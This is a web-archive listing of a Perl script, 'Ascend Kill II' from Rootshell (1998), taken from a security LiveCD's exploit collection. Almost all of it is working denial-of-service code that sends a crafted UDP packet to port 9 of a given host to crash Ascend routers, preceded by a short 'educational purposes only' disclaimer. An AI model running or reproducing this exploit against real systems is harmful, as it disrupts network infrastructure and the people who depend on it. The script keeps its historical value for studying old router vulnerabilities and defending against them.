home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / ascend / asckill.pl < prev   
Perl Script  |  2005-02-12  |  3KB  |  59 lines

  1. #!/usr/bin/perl
  2.  
  3.                     #
  4.                     # Ascend Kill II - perl version
  5.                     # (C) 1998 Rootshell - http://www.rootshell.com/ - <info@rootshell.com>
  6.                     #
  7.                     # Released: 3/17/98
  8.                     #
  9.                     # Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
  10.                     # (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
  11.                     #
  12.                     #  NOTE: This program is NOT to be used for malicous purposes.  This is
  13.                     #        intenteded for educational purposes only.  By using this program
  14.                     #        you agree to use this for lawfull purposes ONLY.
  15.                     #
  16.                     #
  17.  
  18.                     use Socket;
  19.  
  20.                     require "getopts.pl";
  21.  
  22.                     sub AF_INET {2;}
  23.                     sub SOCK_DGRAM {2;}
  24.  
  25.                     sub ascend_kill {
  26.                       $remotehost = shift(@_);
  27.                       chop($hostname = `hostname`);
  28.                       $port = 9;
  29.                       $SIG{'INT'} = 'dokill';
  30.                       $sockaddr = 'S n a4 x8';
  31.                       ($pname, $aliases, $proto) = getprotobyname('tcp');
  32.                       ($pname, $aliases, $port) = getservbyname($port, 'tcp')
  33.                       unless $port =~ /^\d+$/;
  34.                       ($pname, $aliases, $ptype, $len, $thisaddr) =
  35.                       gethostbyname($hostname);
  36.                       $this = pack($sockaddr, AF_INET, 0, $thisaddr);
  37.                       ($pname, $aliases, $ptype, $len, $thataddr) = gethostbyname($remotehost);
  38.                       $that = pack($sockaddr, AF_INET, $port, $thataddr);
  39.                       socket(S, &AF_INET, &SOCK_DGRAM, 0);
  40.                         $msg = pack("c64",
  41.                         0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
  42.                         0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  43.                         0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
  44.                         0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
  45.                         0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
  46.                         0x50, 0x41, 0x53, 0x53);
  47.                       for ($i=0; $i<500; $i++) {
  48.                         $msg .= pack("c1", 0xff);
  49.                       }
  50.                       send(S,$msg,0,$that) || die "send:$!";
  51.                     }
  52.  
  53.                     if ($ARGV[0] eq '') {
  54.                       print "usage: akill2.pl <remote_host>\n";
  55.                       exit;
  56.                     }
  57.  
  58.                     &ascend_kill($ARGV[0]);
  59.